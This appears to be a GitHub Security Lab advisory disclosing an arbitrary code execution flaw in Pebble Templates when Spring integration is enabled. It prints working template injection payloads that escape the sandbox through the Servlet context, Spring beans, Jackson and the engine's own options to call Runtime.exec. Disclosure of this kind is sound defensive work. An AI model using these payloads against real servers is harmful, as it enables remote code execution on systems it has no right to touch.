skip to content
Back to
Home Research Advisories CodeQL Wall of Fame Get Involved Events
April 1, 2021

GHSL-2020-050: Arbitrary code execution in Pebble Templates

Alvaro Munoz

Coordinated Disclosure Timeline


When Spring integration is enabled, an attacker that is able to modify Template contents may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running the Servlet container.


Pebble Templates

Tested Version



Even though Pebble does a great job sandboxing the template engine by not allowing dangerous methods to be invoked, exposing Spring beans and Servlet related objects (such as the Servlet Context) may introduce a variety of objects which can be used to bypass the Pebble sandbox. Deep inspection of the exposed objects’ object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. According to the documentation:

HttpServletRequest object is available to the template. HttpServletResponse is available to the template. HttpSession is available to the template. Spring beans are now available to the template.

In addition, Spring’s AbstractTemplateView exposes by default the springMacroRequestContext variable; an instance of RequestContext.

There are two main approaches to bypass the sandbox: 1) accessing the Servlet context, and 2) accessing the Spring application context beans.

Servlet context

Servlet context can be accessed through:

On a Tomcat server the Servlet context will contain the org.apache.tomcat.InstanceManager attribute which enables an attacker to instantiate arbitrary objects. Note that the same class (regardless of its name) is available on other servlet containers such as Jetty and similar classes are available in other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

We can then try to run arbitrary Java code using a ScriptEngine:

{{ request.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('id')") }}

There are other objects in the Servlet context that can lead to Remote Code Execution. We can list them with:

{% for attr in request.servletContext.getAttributeNames() %}
	<li>{{ attr }}</li>
{% endfor %}

In a sample Tomcat server we get:

Some of these will allow us to access the Spring application context which in turn will give us access to all registered Spring beans.

Spring Beans

Spring Beans can be accessed in a number of ways. eg:

We can list them with:

{% for bean in springMacroRequestContext.webApplicationContext.getBeanDefinitionNames() %}
	<li>{{ bean }}</li>
{% endfor %}

The first bypass is to access arbitrary Class objects. e.g:

{{ springMacroRequestContext.webApplicationContext.beanDefinition('application').beanClass.protectionDomain.classLoader.loadClass('javax.script.ScriptEngineManager') }}

We cant turn this into RCE by using the Jackson ObjectMapper to instantiate the ScriptManager for us:

{% set clzz = springMacroRequestContext.webApplicationContext.beanDefinition('application').beanClass.protectionDomain.classLoader.loadClass('javax.script.ScriptEngineManager') %}
{{ beans.jacksonObjectMapper.enableDefaultTyping().readValue("{}", clzz).getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')") }}

Since we can also access the Pebble engine, we can even turn the sandbox off.

{% set opts = beans.pebbleEngine.evaluationOptions.setAllowUnsafeMethods(true) %}
{{ "".class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')") }}


This issue may lead to Remote Code Execution (RCE).


This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).


You can contact the GHSL team at, please include GHSL-2020-050 in any communication regarding this issue.